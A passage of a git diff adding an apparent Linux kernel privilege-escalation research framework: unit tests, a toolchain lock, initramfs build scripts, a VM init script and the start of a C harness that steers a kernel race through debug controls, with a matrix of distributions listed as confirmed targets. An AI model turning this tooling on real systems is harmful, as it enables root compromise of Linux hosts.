"overwrite"): + generate_minisign_keypair(secret, public, minisign=MINISIGN) + sign_with_minisign( + artifact, + signature, + secret, + public, + trusted_comment="first signature", + minisign=MINISIGN, + ) + with self.assertRaisesRegex(SigningError, "overwrite"): + sign_with_minisign( + artifact, + signature, + secret, + public, + trusted_comment="second signature", + minisign=MINISIGN, + ) + + +if __name__ == "__main__": + unittest.main() diff --git a/dirty-crow-xarray-lpe/framework/tests/test_syzkaller.py b/dirty-crow-xarray-lpe/framework/tests/test_syzkaller.py new file mode 100644 index 0000000..f87045c --- /dev/null +++ b/dirty-crow-xarray-lpe/framework/tests/test_syzkaller.py @@ -0,0 +1,85 @@ +from __future__ import annotations + +from pathlib import Path +import tempfile +import unittest + +from dirtycrow.syzkaller import ( + build_manager_config, + catalog_crashes, + focused_seed_programs, + stage_seed_corpus, +) + + +def _profile() -> dict[str, object]: + return { + "schema_version": 1, + "name": "test", + "target": "linux/amd64", + "sandbox": "setuid", + "paths": { + "workdir": "/work", + "kernel_obj": "/kernel", + "kernel_src": "/source", + "image": "/image", + "sshkey": "/key", + "syzkaller": "/syzkaller", + }, + "vm": { + "kernel": "/kernel/arch/x86/boot/bzImage", + "count": 2, + "cpu": 4, + "mem": 2048, + }, + } + + +class SyzkallerIntegrationTests(unittest.TestCase): + def test_manager_config_enforces_ordinary_user_campaign(self) -> None: + config = build_manager_config(_profile()) + self.assertEqual(config["sandbox"], "setuid") + self.assertEqual(config["type"], "qemu") + self.assertIn("madvise", config["enable_syscalls"]) + self.assertIn("panic_on_warn=1", config["vm"]["cmdline"]) + + unsafe = _profile() + unsafe["sandbox"] = "none" + with self.assertRaisesRegex(ValueError, "sandbox=setuid"): + build_manager_config(unsafe) + + def test_stages_focused_seed_programs(self) -> None: + with tempfile.TemporaryDirectory() as directory: + report = stage_seed_corpus(Path(directory)) + programs = focused_seed_programs() + staged = Path(directory, "seeds", "shmem-punch-collapse.syz") + payload = staged.read_text(encoding="utf-8") + + self.assertEqual(report["program_count"], 3) + self.assertEqual(set(programs), {row["name"] for row in report["programs"]}) + self.assertIn("fallocate", payload) + self.assertIn("madvise", payload) + + def test_catalog_deduplicates_and_maps_crashes(self) -> None: + with tempfile.TemporaryDirectory() as directory: + root = Path(directory) + for crash_id, address in (("one", "0x1234"), ("two", "0xabcd")): + crash = root / "crashes" / crash_id + crash.mkdir(parents=True) + (crash / "description").write_text( + f"KASAN: use-after-free in filemap_map_pages {address}\n", + encoding="utf-8", + ) + (crash / "log0").write_text("kernel log\n", encoding="utf-8") + + report = catalog_crashes( + root, {"DC-XARRAY-001": r"filemap_map_pages"} + ) + + self.assertEqual(report["crash_count"], 2) + self.assertEqual(report["unique_signature_count"], 1) + self.assertEqual(report["crashes"][0]["finding_ids"], ["DC-XARRAY-001"]) + + +if __name__ == "__main__": + unittest.main() diff --git a/dirty-crow-xarray-lpe/framework/tests/test_targets.py b/dirty-crow-xarray-lpe/framework/tests/test_targets.py new file mode 100644 index 0000000..85308bf --- /dev/null +++ b/dirty-crow-xarray-lpe/framework/tests/test_targets.py @@ -0,0 +1,137 @@ +from __future__ import annotations + +import hashlib +import json +from pathlib import Path +import tempfile +import unittest + +from dirtycrow.targets import ( + TargetProfileError, + load_target_profile, + validate_target_matrix, + validate_target_profile, +) + + +ROOT = Path(__file__).resolve().parents[1] +REGISTRY = ROOT / "backends" / "registry.json" +CONFIRMED = ROOT / "profiles" / "debian-6.12.105-x86_64-4k.json" +MATRIX = ROOT / "profiles" / "targets.json" + + +def _candidate(evidence_hash: str) -> dict[str, object]: + return { + "schema_version": 1, + "id": "test-arm64", + "classification": "source_candidate", + "target": { + "distribution": "Upstream", + "release": "7.2", + "kernel_release": "7.2.0", + "architecture": "aarch64", + "page_size": 65536, + "endianness": "little", + }, + "provenance": { + "scope": "upstream_ref", + "source_url": "https://github.com/torvalds/linux.git", + "source_ref": "v7.2", + }, + "compatibility": { + "source_facts": ["vulnerable_xas_find_branch"], + "capabilities": [], + "action": "backstep-proof", + "backend": "auto", + "backend_expected": False, + }, + "evidence": [ + {"kind": "source_scan", "path": "evidence.json", "sha256": evidence_hash} + ], + "unsupported_reasons": [], + } + + +class TargetProfileTests(unittest.TestCase): + def test_validates_hash_bound_confirmed_profile_and_backend(self) -> None: + profile = load_target_profile(CONFIRMED) + report = validate_target_profile(profile, REGISTRY) + self.assertTrue(report["passed"]) + self.assertEqual(report["classification"], "runtime_confirmed") + self.assertEqual( + report["backend_resolution"]["selected"]["backend_id"], + "backstep-x86_64-4k", + ) + + def test_validates_expanded_distribution_matrix(self) -> None: + report = validate_target_matrix(MATRIX, REGISTRY) + self.assertTrue(report["passed"]) + self.assertEqual(report["summary"]["target_count"], 13) + self.assertEqual(report["summary"]["runtime_confirmed_count"], 8) + self.assertEqual(report["summary"]["runtime_kernel_corruption_count"], 1) + self.assertEqual(report["summary"]["unsupported_count"], 4) + self.assertEqual( + report["summary"]["distributions"], + [ + "Alpine Linux", + "Amazon Linux", + "Android Emulator", + "Android GKI", + "Arch Linux", + "Chimera Linux", + "ChromeOS", + "Debian", + "Fedora", + "Red Hat Enterprise Linux", + "Ubuntu", + "openSUSE", + ], + ) + + def test_rejects_evidence_hash_mismatch_before_use(self) -> None: + with tempfile.TemporaryDirectory() as directory: + root = Path(directory) + evidence = root / "evidence.json" + evidence.write_text("{}\n", encoding="utf-8") + payload = _candidate("0" * 64) + profile = root / "profile.json" + profile.write_text(json.dumps(payload), encoding="utf-8") + with self.assertRaisesRegex(TargetProfileError, "hash mismatch"): + load_target_profile(profile) + + def test_resolves_repository_relative_evidence_without_git_metadata(self) -> None: + with tempfile.TemporaryDirectory() as directory: + root = Path(directory) + (root / "pyproject.toml").write_text("[project]\nname = \"portable\"\n", encoding="utf-8") + profiles = root / "profiles" + profiles.mkdir() + evidence_directory = root / "evidence" + evidence_directory.mkdir() + evidence = evidence_directory / "evidence.json" + evidence.write_text("{}\n", encoding="utf-8") + digest = hashlib.sha256(evidence.read_bytes()).hexdigest() + payload = _candidate(digest) + payload["evidence"][0]["path"] = "../evidence/evidence.json" + profile_path = profiles / "profile.json" + profile_path.write_text(json.dumps(payload), encoding="utf-8") + + profile = load_target_profile(profile_path) + + self.assertEqual(profile.evidence[0].path, evidence.resolve()) + + def test_accepts_source_candidate_with_explicit_unsupported_backend(self) -> None: + with tempfile.TemporaryDirectory() as directory: + root = Path(directory) + evidence = root / "evidence.json" + evidence.write_text("{}\n", encoding="utf-8") + digest = hashlib.sha256(evidence.read_bytes()).hexdigest() + profile_path = root / "profile.json" + profile_path.write_text(json.dumps(_candidate(digest)), encoding="utf-8") + profile = load_target_profile(profile_path) + report = validate_target_profile(profile, REGISTRY) + self.assertTrue(report["passed"]) + self.assertFalse(report["backend_resolution"]["supported"]) + + +if __name__ == "__main__": + unittest.main() diff --git a/dirty-crow-xarray-lpe/framework/tests/test_toolchain.py b/dirty-crow-xarray-lpe/framework/tests/test_toolchain.py new file mode 100644 index 0000000..d84aaf5 --- /dev/null +++ b/dirty-crow-xarray-lpe/framework/tests/test_toolchain.py @@ -0,0 +1,94 @@ +from __future__ import annotations + +import hashlib +import json +from pathlib import Path +import tempfile +import unittest + +from dirtycrow.toolchain import ( + generate_supply_chain_metadata, + verify_toolchain_lock, +) + + +ROOT = Path(__file__).resolve().parents[1] + + +class ToolchainLockTests(unittest.TestCase): + def _fixture(self, directory: Path) -> Path: + dependency = directory / "uv.lock" + dependency.write_bytes(b"locked\n") + container = directory / "containers" / "kernel-build.Dockerfile" + container.parent.mkdir() + container.write_bytes( + (ROOT / "containers" / "kernel-build.Dockerfile").read_bytes() + ) + payload = json.loads((ROOT / "toolchain-lock.json").read_text(encoding="utf-8")) + payload["python"]["lock_file"] = dependency.name + payload["python"]["lock_file_sha256"] = hashlib.sha256( + dependency.read_bytes() + ).hexdigest() + lock = directory / "toolchain-lock.json" + lock.write_text(json.dumps(payload), encoding="utf-8") + return lock + + def test_accepts_complete_immutable_lock(self) -> None: + with tempfile.TemporaryDirectory() as directory: + report = verify_toolchain_lock(self._fixture(Path(directory))) + + self.assertTrue(report["passed"]) + self.assertTrue(all(report["checks"].values())) + + def test_generates_spdx_and_slsa_input_metadata(self) -> None: + with tempfile.TemporaryDirectory() as directory: + output = Path(directory) + sbom = output / "source.spdx.json" + provenance = output / "provenance.intoto.json" + report = generate_supply_chain_metadata( + ROOT / "toolchain-lock.json", + ROOT, + sbom, + provenance, + ) + sbom_payload = json.loads(sbom.read_text(encoding="utf-8")) + provenance_payload = json.loads( + provenance.read_text(encoding="utf-8") + ) + + self.assertTrue(report["passed"]) + self.assertGreater(report["source_file_count"], 0) + self.assertEqual(sbom_payload["spdxVersion"], "SPDX-2.3") + self.assertEqual( + provenance_payload["predicateType"], + "https://slsa.dev/provenance/v1", + ) + + def test_reports_dependency_and_action_tampering(self) -> None: + with tempfile.TemporaryDirectory() as directory: + root = Path(directory) + lock = self._fixture(root) + payload = json.loads(lock.read_text(encoding="utf-8")) + payload["ci_actions"]["actions_checkout_v4"] = "v4" + lock.write_text(json.dumps(payload), encoding="utf-8") + (root / "uv.lock").write_bytes(b"tampered\n") + + report = verify_toolchain_lock(lock) + + self.assertFalse(report["passed"]) + self.assertFalse(report["checks"]["dependency_lock_hash_matches"]) + self.assertFalse(report["checks"]["ci_actions_pinned"]) + + def test_rejects_unknown_top_level_keys(self) -> None: + with tempfile.TemporaryDirectory() as directory: + lock = self._fixture(Path(directory)) + payload = json.loads(lock.read_text(encoding="utf-8")) + payload["untracked"] = True + lock.write_text(json.dumps(payload), encoding="utf-8") + + with self.assertRaisesRegex(ValueError, "keys differ"): + verify_toolchain_lock(lock) + + +if __name__ == "__main__": + unittest.main() diff --git a/dirty-crow-xarray-lpe/framework/tests/test_trace.py b/dirty-crow-xarray-lpe/framework/tests/test_trace.py new file mode 100644 index 0000000..9e058e9 --- /dev/null +++ b/dirty-crow-xarray-lpe/framework/tests/test_trace.py @@ -0,0 +1,65 @@ +from __future__ import annotations + +import json +from pathlib import Path +import tempfile +import unittest + +from dirtycrow.trace import collect_trace_snapshot, decode_kernel_logs + + +class TraceDecoderTests(unittest.TestCase): + def test_decodes_incident_frames_and_barrier_markers(self) -> None: + with tempfile.TemporaryDirectory() as directory: + root = Path(directory) + log = root / "serial.log" + system_map = root / "System.map" + log.write_text( + "\n".join( + ( + "[ 0.000000] Linux version 7.2.0-test", + "[ 1.250000] BUG: KASAN: use-after-free in filemap_map_pages", + "[ 1.260000] RIP: 0010:filemap_map_pages+0x2a/0x100", + "BARRIER_STAGE_BLOCKED stage=xas_find_entry hits=2 index=0x100", + ) + ) + + "\n", + encoding="utf-8", + ) + system_map.write_text( + "ffffffff81001000 T filemap_map_pages\n", encoding="utf-8" + ) + + report = decode_kernel_logs([log], system_map=system_map) + + self.assertFalse(report["clean"]) + self.assertEqual(report["summary"]["incident_count"], 1) + decoded = report["logs"][0] + self.assertEqual(decoded["incidents"][0]["category"], "kasan") + self.assertEqual( + decoded["frames"][0]["address"], int("ffffffff8100102a", 16) + ) + self.assertEqual(decoded["markers"][0]["fields"]["index"], 0x100) + + def test_collects_read_only_trace_snapshot_with_hashes(self) -> None: + with tempfile.TemporaryDirectory() as directory: + root = Path(directory) + tracefs = root / "tracefs" + output = root / "snapshot" + tracefs.mkdir() + (tracefs / "trace").write_text("trace row\n", encoding="utf-8") + (tracefs / "current_tracer").write_text("function\n", encoding="utf-8") + log = root / "kernel.log" + log.write_text("clean boot\n", encoding="utf-8") + + report = collect_trace_snapshot(tracefs, output, [log]) + manifest = json.loads((output / "manifest.json").read_text()) + + self.assertTrue(report["passed"]) + self.assertEqual(report["artifact_count"], 3) + self.assertEqual(manifest["canonical_payload_sha256"], report["canonical_payload_sha256"]) + self.assertTrue(all(len(row["sha256"]) == 64 for row in report["artifacts"])) + + +if __name__ == "__main__": + unittest.main() diff --git a/dirty-crow-xarray-lpe/framework/tests/test_watchdog.py b/dirty-crow-xarray-lpe/framework/tests/test_watchdog.py new file mode 100644 index 0000000..f98efe1 --- /dev/null +++ b/dirty-crow-xarray-lpe/framework/tests/test_watchdog.py @@ -0,0 +1,89 @@ +from __future__ import annotations + +import unittest + +from dirtycrow.watchdog import HostWatchdog, WatchdogDeadlines + + +class HostWatchdogTests(unittest.TestCase): + def _watchdog( + self, + *, + action: str = "backstep-proof", + total_seconds: int = 100, + ) -> HostWatchdog: + return HostWatchdog( + WatchdogDeadlines( + boot_seconds=3, + trigger_seconds=4, + serial_inactivity_seconds=5, + post_primitive_seconds=2, + ), + total_seconds=total_seconds, + action=action, + started=10.0, + ) + + def test_boot_deadline_requires_serial_activity(self) -> None: + watchdog = self._watchdog() + self.assertIsNone(watchdog.deadline_reason(12.9)) + self.assertEqual(watchdog.deadline_reason(13.0), "boot_deadline") + + def test_trigger_deadline_requires_destructive_trigger_marker(self) -> None: + watchdog = self._watchdog() + watchdog.observe_line("KERNEL_RELEASE test\n", 11.0) + self.assertIsNone(watchdog.deadline_reason(14.9)) + self.assertEqual(watchdog.deadline_reason(15.0), "trigger_deadline") + + def test_serial_inactivity_deadline_tracks_last_output(self) -> None: + watchdog = self._watchdog(action="probe") + watchdog.observe_line("probe output\n", 11.0) + watchdog.observe_line("more output\n", 13.0) + self.assertIsNone(watchdog.deadline_reason(17.9)) + self.assertEqual( + watchdog.deadline_reason(18.0), "serial_inactivity_deadline" + ) + + def test_post_primitive_deadline_bounds_recovery(self) -> None: + watchdog = self._watchdog() + watchdog.observe_line("KERNEL_RELEASE test\n", 10.5) + watchdog.observe_line("TRIGGER_START mode=backstep\n", 11.0) + watchdog.observe_line("PAGE_TABLE_PRIMITIVE round=1\n", 12.0) + self.assertIsNone(watchdog.deadline_reason(13.9)) + self.assertEqual( + watchdog.deadline_reason(14.0), "post_primitive_deadline" + ) + + def test_backend_return_after_primitive_forces_immediate_recovery(self) -> None: + watchdog = self._watchdog() + watchdog.observe_line("PAGE_TABLE_PRIMITIVE round=1\n", 11.0) + watchdog.observe_line("EXPLOIT_STAGE_DONE rc=7\n", 11.1) + self.assertEqual( + watchdog.deadline_reason(11.1), + "backend_returned_after_primitive", + ) + + def test_total_deadline_is_an_absolute_cap(self) -> None: + watchdog = self._watchdog(total_seconds=2) + watchdog.observe_line("KERNEL_RELEASE test\n", 10.5) + watchdog.observe_line("TRIGGER_START mode=backstep\n", 10.6) + self.assertIsNone(watchdog.deadline_reason(11.9)) + self.assertEqual(watchdog.deadline_reason(12.0), "total_deadline") + + def test_snapshot_records_recovery_request_and_stage_times(self) -> None: + watchdog = self._watchdog() + watchdog.observe_line("KERNEL_RELEASE test\n", 10.5) + watchdog.observe_line("TRIGGER_START mode=backstep\n", 11.0) + watchdog.observe_line("PAGE_TABLE_PRIMITIVE round=1\n", 12.0) + watchdog.observe_line("RECOVERY_ACTION mode=poweroff\n", 12.5) + snapshot = watchdog.snapshot(13.0) + + self.assertTrue(snapshot["primitive_observed"]) + self.assertTrue(snapshot["recovery_requested"]) + self.assertEqual(snapshot["primitive_observed_ms"], 2000) + self.assertEqual(snapshot["recovery_requested_ms"], 2500) + self.assertEqual(snapshot["line_count"], 4) + + +if __name__ == "__main__": + unittest.main() diff --git a/dirty-crow-xarray-lpe/framework/toolchain-lock.json b/dirty-crow-xarray-lpe/framework/toolchain-lock.json new file mode 100644 index 0000000..a43e28a --- /dev/null +++ b/dirty-crow-xarray-lpe/framework/toolchain-lock.json @@ -0,0 +1,90 @@ +{ + "schema_version": 1, + "title": "Dirty Crow reproducible build and validation toolchain", + "python": { + "requires": ">=3.11", + "ci_versions": [ + "3.11", + "3.12", + "3.13" + ], + "resolver": { + "name": "uv", + "version": "0.11.7" + }, + "lock_file": "uv.lock", + "lock_file_sha256": "9b68f03940d1a3da5d79518a1433547c748c2109327385bf16a3a896dfca9446" + }, + "linux_build": { + "distribution": "Debian trixie", + "native_gcc": "14.2.0", + "native_clang": "19.1.7", + "aarch64_cross_gcc": "14.2.0", + "riscv64_cross_gcc": "14.2.0", + "binutils": "2.44", + "cpio": "2.15", + "musl": "1.2.5", + "busybox": "1.37.0", + "packages": { + "gcc-14": "14.2.0-19", + "gcc-14-aarch64-linux-gnu": "14.2.0-19cross1", + "gcc-14-riscv64-linux-gnu": "14.2.0-19cross1", + "clang-19": "1:19.1.7-3+b1", + "llvm-19": "1:19.1.7-3+b1", + "lld-19": "1:19.1.7-3+b1", + "binutils": "2.44-3", + "busybox-static": "1:1.37.0-6+b8", + "cpio": "2.15+dfsg-2", + "musl-tools": "1.2.5-3.1~deb13u1", + "liburcu-dev": "0.15.2-2", + "minisign": "0.12-1", + "qemu-system-x86": "1:10.0.11+ds-0+deb13u1" + } + }, + "rootfs": { + "format": "newc+gzip", + "busybox_package": "busybox-static", + "busybox_version": "1:1.37.0-6+b8", + "cpio_version": "2.15+dfsg-2", + "source_date_epoch": 1786915946 + }, + "containers": { + "kernel_build": { + "file": "containers/kernel-build.Dockerfile", + "sha256": "29a60e9562764e19de6f0c206c4f2f241832c4b1cec55a42e06f365b3d6857c8", + "base_image": "docker.io/library/debian:trixie-slim", + "base_digest": "sha256:d7e12182ce18b85b93007c1dedf31f2d29e01ccf3182cc4017c709b6259bc132", + "debian_snapshot": "20260830T000000Z" + } + }, + "kernel": { + "repository": "https://github.com/torvalds/linux.git", + "ref": "v7.2", + "commit": "8d3ae59288f1e7d58d76558a6ee96d533bc5019f", + "source_date_epoch": 1786915946 + }, + "syzkaller": { + "repository": "https://github.com/google/syzkaller.git", + "commit": "2f52988a5879f3555760033c428966d32bb70b84", + "go_toolchain": "1.26.0" + }, + "ci_actions": { + "actions_checkout_v4": "11d5960a326750d5838078e36cf38b85af677262", + "astral_setup_uv_v7": "94527f2e458b27549849d47d273a16bec83a01e9", + "actions_upload_artifact_v4": "ea165f8d65b6e75b540449e92b4886f43607fa02" + }, + "signing": { + "implementation": "minisign", + "version": "0.12", + "format": "Ed25519", + "offline_verification": true + }, + "qemu": { + "windows_x86_geometry_version": "8.2.0", + "windows_x86_geometry_revision": "v8.2.0-12045-g3d58f9b5c5", + "wsl_cross_geometry_version": "10.0.11", + "wsl_cross_geometry_package": "1:10.0.11+ds-0+deb13u1", + "confirmed_release_evidence_version": "8.2.2" + }, + "boundary": "The lock records exact dependency, source, compiler, and emulator identities. Host firmware, CPU scheduling, and kernel race outcomes remain measured runtime inputs rather than reproducible constants." +} diff --git a/dirty-crow-xarray-lpe/framework/tools/build_barrier_initramfs.sh b/dirty-crow-xarray-lpe/framework/tools/build_barrier_initramfs.sh new file mode 100644 index 0000000..7153d7c --- /dev/null +++ b/dirty-crow-xarray-lpe/framework/tools/build_barrier_initramfs.sh @@ -0,0 +1,31 @@ +#!/bin/sh +# SPDX-License-Identifier: GPL-2.0-only +set -eu + +if [ "$#" -ne 2 ]; then + printf 'usage: %s STATIC-HARNESS OUTPUT-CPIO-GZ\n' "$0" >&2 + exit 2 +fi + +harness=$1 +output=$2 +script_dir=$(CDPATH='' cd -- "$(dirname -- "$0")" && pwd) +root=$(mktemp -d) +trap 'rm -rf "$root"' EXIT HUP INT TERM + +mkdir -p "$root/bin" "$root/dev" "$root/proc" "$root/sys" +cp /bin/busybox "$root/bin/busybox" +cp "$harness" "$root/barrier-sequence" +cp "$script_dir/dirty_crow_barrier_init.sh" "$root/init" +chmod 0755 "$root/bin/busybox" "$root/barrier-sequence" "$root/init" +mknod -m 0600 "$root/dev/console" c 5 1 +mknod -m 0666 "$root/dev/null" c 1 3 +find "$root" -exec touch -h -d '@0' {} + +mkdir -p "$(dirname -- "$output")" +( + cd "$root" + LC_ALL=C find . -print0 | LC_ALL=C sort -z | + cpio --null --create --format=newc --owner=0:0 --reproducible 2>/dev/null | + gzip -9 -n +) > "$output" +printf 'built %s\n' "$output" diff --git a/dirty-crow-xarray-lpe/framework/tools/build_geometry_initramfs.sh b/dirty-crow-xarray-lpe/framework/tools/build_geometry_initramfs.sh new file mode 100644 index 0000000..1765fd7 --- /dev/null +++ b/dirty-crow-xarray-lpe/framework/tools/build_geometry_initramfs.sh @@ -0,0 +1,28 @@ +#!/bin/sh +# SPDX-License-Identifier: GPL-2.0-only +set -eu + +if [ "$#" -ne 2 ]; then + printf 'usage: %s STATIC-PROBE OUTPUT-CPIO-GZ\n' "$0" >&2 + exit 2 +fi + +probe=$1 +output=$2 +root=$(mktemp -d) +trap 'rm -rf "$root"' EXIT HUP INT TERM + +mkdir -p "$root/dev" +cp "$probe" "$root/init" +chmod 0755 "$root/init" +mknod -m 0600 "$root/dev/console" c 5 1 +mknod -m 0666 "$root/dev/null" c 1 3 +find "$root" -exec touch -h -d '@0' {} + +mkdir -p "$(dirname -- "$output")" +( + cd "$root" + LC_ALL=C find . -print0 | LC_ALL=C sort -z | + cpio --null --create --format=newc --owner=0:0 --reproducible 2>/dev/null | + gzip -9 -n +) > "$output" +printf 'built %s\n' "$output" diff --git a/dirty-crow-xarray-lpe/framework/tools/build_geometry_probes.sh b/dirty-crow-xarray-lpe/framework/tools/build_geometry_probes.sh new file mode 100644 index 0000000..f2e6550 --- /dev/null +++ b/dirty-crow-xarray-lpe/framework/tools/build_geometry_probes.sh @@ -0,0 +1,27 @@ +#!/bin/sh +# SPDX-License-Identifier: GPL-2.0-only +set -eu + +if [ "$#" -ne 1 ]; then + printf 'usage: %s OUTPUT-DIRECTORY\n' "$0" >&2 + exit 2 +fi + +output=$1 +script_dir=$(CDPATH='' cd -- "$(dirname -- "$0")" && pwd) +source_file=$script_dir/dirty_crow_geometry_probe.c +builder=$script_dir/build_geometry_initramfs.sh +mkdir -p "$output" + +gcc -static -O2 -Wall -Wextra -Werror -DEXPECTED_PAGE_SIZE=4096 \ + -o "$output/probe-x86_64-4k" "$source_file" +aarch64-linux-gnu-gcc -static -O2 -Wall -Wextra -Werror \ + -DEXPECTED_PAGE_SIZE=4096 -o "$output/probe-arm64-4k" "$source_file" +aarch64-linux-gnu-gcc -static -O2 -Wall -Wextra -Werror \ + -DEXPECTED_PAGE_SIZE=65536 -o "$output/probe-arm64-64k" "$source_file" +riscv64-linux-gnu-gcc -static -O2 -Wall -Wextra -Werror \ + -DEXPECTED_PAGE_SIZE=4096 -o "$output/probe-riscv64-4k" "$source_file" + +for geometry in x86_64-4k arm64-4k arm64-64k riscv64-4k; do + "$builder" "$output/probe-$geometry" "$output/initramfs-$geometry.cpio.gz" +done diff --git a/dirty-crow-xarray-lpe/framework/tools/dirty_crow_barrier_init.sh b/dirty-crow-xarray-lpe/framework/tools/dirty_crow_barrier_init.sh new file mode 100644 index 0000000..3cd3845 --- /dev/null +++ b/dirty-crow-xarray-lpe/framework/tools/dirty_crow_barrier_init.sh @@ -0,0 +1,22 @@ +#!/bin/busybox sh +# SPDX-License-Identifier: GPL-2.0-only + +/bin/busybox --install -s /bin +mount -t proc proc /proc +mount -t sysfs sysfs /sys +mount -t devtmpfs devtmpfs /dev +mkdir -p /sys/kernel/debug +mount -t debugfs debugfs /sys/kernel/debug + +printf 'DIRTY_CROW_BARRIER_VM_START kernel=%s\n' "$(uname -r)" +if [ -w /sys/kernel/mm/transparent_hugepage/shmem_enabled ]; then + printf '%s\n' always > /sys/kernel/mm/transparent_hugepage/shmem_enabled +fi + +/barrier-sequence +status=$? +printf 'DIRTY_CROW_BARRIER_VM_RESULT status=%d\n' "$status" +sync +poweroff -f +sleep 5 +printf '%s\n' o > /proc/sysrq-trigger diff --git a/dirty-crow-xarray-lpe/framework/tools/dirty_crow_barrier_sequence.c b/dirty-crow-xarray-lpe/framework/tools/dirty_crow_barrier_sequence.c new file mode 100644 index 0000000..9ed720c --- /dev/null +++ b/dirty-crow-xarray-lpe/framework/tools/dirty_crow_barrier_sequence.c @@ -0,0 +1,623 @@ +// SPDX-License-Identifier: GPL-2.0-only +#define _GNU_SOURCE +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#ifndef MADV_COLLAPSE +#define MADV_COLLAPSE 25 +#endif + +#define PAGE_SIZE_4K 4096UL +#define PMD_SIZE (2UL * 1024UL * 1024UL) +#define SOURCE_PGOFF 256UL +#define SOURCE_SIZE (16UL * PAGE_SIZE_4K) +#define CONTROL_BUFFER_SIZE 256 +#define STATE_BUFFER_SIZE 8192 +#define WAIT_TIMEOUT_MS 10000U +#define KERNEL_BARRIER_TIMEOUT_MS 5000U + +static const char *control_path; +static const char *state_path; +static pid_t child_pid = -1; + +struct stage_state { + bool found; + int armed; + int blocked; + int released; + long long hits; + unsigned long long target_hit; + unsigned long long next_hit; + unsigned long long auto_release_ms; + int target_tid; + int result; + int pid; + int tid; + int cpu; + unsigned long arg0; + unsigned long arg1; + unsigned long long wait_ns; +}; + +struct child_workload { + int source_fd; + int sink_fd; + int start_fd; + int ready_fd; + unsigned char *source; +}; + +static unsigned long long monotonic_ms(void) +{ + struct timespec now; + + if (clock_gettime(CLOCK_MONOTONIC, &now) != 0) + return 0; + return (unsigned long long)now.tv_sec * 1000ULL + + (unsigned long long)now.tv_nsec / 1000000ULL; +} +static int pin_current(unsigned int cpu) +{ + cpu_set_t set; + int error; + + CPU_ZERO(&set); + CPU_SET(cpu, &set); + error = pthread_setaffinity_np(pthread_self(), sizeof(set), &set); + if (error) { + errno = error; + return -1; + } + return 0; +} + + +static int write_all(int fd, const void *buffer, size_t length) +{ + const unsigned char *cursor = buffer; + + while (length) { + ssize_t written = write(fd, cursor, length); + + if (written < 0) { + if (errno == EINTR) + continue; + return -1; + } + if (!written) { + errno = EIO; + return -1; + } + cursor += written; + length -= (size_t)written; + } + return 0; +} + +static int read_all(int fd, void *buffer, size_t length) +{ + unsigned char *cursor = buffer; + + while (length) { + ssize_t count = read(fd, cursor, length); + + if (count < 0) { + if (errno == EINTR) + continue; + return -1; + } + if (!count) { + errno = EPIPE; + return -1; + } + cursor += count; + length -= (size_t)count; + } + return 0; +} + +static int read_byte(int fd, char expected) +{ + char value; + + if (read_all(fd, &value, 1) != 0) + return -1; + if (value != expected) { + errno = EPROTO; + return -1; + } + return 0; +} + +static int control_command(const char *format, ...) +{ + char command[CONTROL_BUFFER_SIZE]; + va_list arguments; + int fd, length, saved_errno; + + va_start(arguments, format); + length = vsnprintf(command, sizeof(command), format, arguments); + va_end(arguments); + if (length <= 0 || (size_t)length >= sizeof(command)) { + errno = EOVERFLOW; + return -1; + } + + fd = open(control_path, O_WRONLY | O_CLOEXEC); + if (fd < 0) + return -1; + if (write_all(fd, command, (size_t)length) != 0) { + saved_errno = errno; + close(fd); + errno = saved_errno; + return -1; + } + if (close(fd) != 0) + return -1; + return 0; +} + +static int read_state_text(char *buffer, size_t capacity) +{ + int fd, saved_errno; + size_t used = 0; + + fd = open(state_path, O_RDONLY | O_CLOEXEC); + if (fd < 0) + return -1; + while (used + 1 < capacity) { + ssize_t count = read(fd, buffer + used, capacity - used - 1); + + if (count < 0) { + if (errno == EINTR) + continue; + saved_errno = errno; + close(fd); + errno = saved_errno; + return -1; + } + if (!count) + break; + used += (size_t)count; + } + buffer[used] = '\0'; + if (close(fd) != 0) + return -1; + if (used + 1 == capacity) { + errno = EOVERFLOW; + return -1; + } + return 0; +} + +static int parse_stage(const char *name, struct stage_state *result) +{ + char buffer[STATE_BUFFER_SIZE]; + char *line, *saveptr = NULL; + size_t name_length = strlen(name); + + memset(result, 0, sizeof(*result)); + if (read_state_text(buffer, sizeof(buffer)) != 0) + return -1; + + for (line = strtok_r(buffer, "\n", &saveptr); line; + line = strtok_r(NULL, "\n", &saveptr)) { + if (strncmp(line, "stage=", 6) != 0 || + strncmp(line + 6, name, name_length) != 0 || + line[6 + name_length] != ' ') + continue; + if (sscanf(line, + "stage=%*s armed=%d blocked=%d released=%d hits=%lld target_hit=%llu next_hit=%llu target_tid=%d auto_release_ms=%llu result=%d pid=%d tid=%d cpu=%d arg0=%lx arg1=%lx wait_ns=%llu", + &result->armed, &result->blocked, &result->released, + &result->hits, &result->target_hit, &result->next_hit, + &result->target_tid, &result->auto_release_ms, + &result->result, &result->pid, &result->tid, &result->cpu, + &result->arg0, &result->arg1, &result->wait_ns) != 15) { + errno = EPROTO; + return -1; + } + result->found = true; + return 0; + } + errno = ENOENT; + return -1; +} +static void dump_state(void) +{ + char buffer[STATE_BUFFER_SIZE]; + + if (read_state_text(buffer, sizeof(buffer)) == 0) + fprintf(stderr, "DIRTY_CROW_BARRIER_STATE_BEGIN\n%s" + "DIRTY_CROW_BARRIER_STATE_END\n", buffer); +} + + +static int child_exited(void) +{ + int status; + pid_t result; + + if (child_pid <= 0) + return 0; + result = waitpid(child_pid, &status, WNOHANG); + if (!result) + return 0; + if (result < 0) + return -1; + child_pid = -1; + if (WIFEXITED(status)) + fprintf(stderr, "child exited before sequence completion: %d\n", + WEXITSTATUS(status)); + else if (WIFSIGNALED(status)) + fprintf(stderr, "child died before sequence completion: signal %d\n", + WTERMSIG(status)); + errno = ECHILD; + return 1; +} + +static int wait_blocked(const char *name, long long expected_hit, + struct stage_state *state) +{ + const unsigned long long deadline = monotonic_ms() + WAIT_TIMEOUT_MS; + + for (;;) { + if (parse_stage(name, state) != 0) + return -1; + if (state->blocked && state->hits >= expected_hit) + return 0; + if (child_exited() != 0) + return -1; + if (monotonic_ms() >= deadline) { + errno = ETIMEDOUT; + return -1; + } + usleep(1000); + } +} + +static int wait_complete(const char *name, struct stage_state *state) +{ + const unsigned long long deadline = monotonic_ms() + WAIT_TIMEOUT_MS; + + for (;;) { + if (parse_stage(name, state) != 0) + return -1; + if (!state->blocked && state->result != 0) + return state->result == 1 ? 0 : -1; + if (monotonic_ms() >= deadline) { + errno = ETIMEDOUT; + return -1; + } + usleep(1000); + } +} + +static int release_stage(const char *name, struct 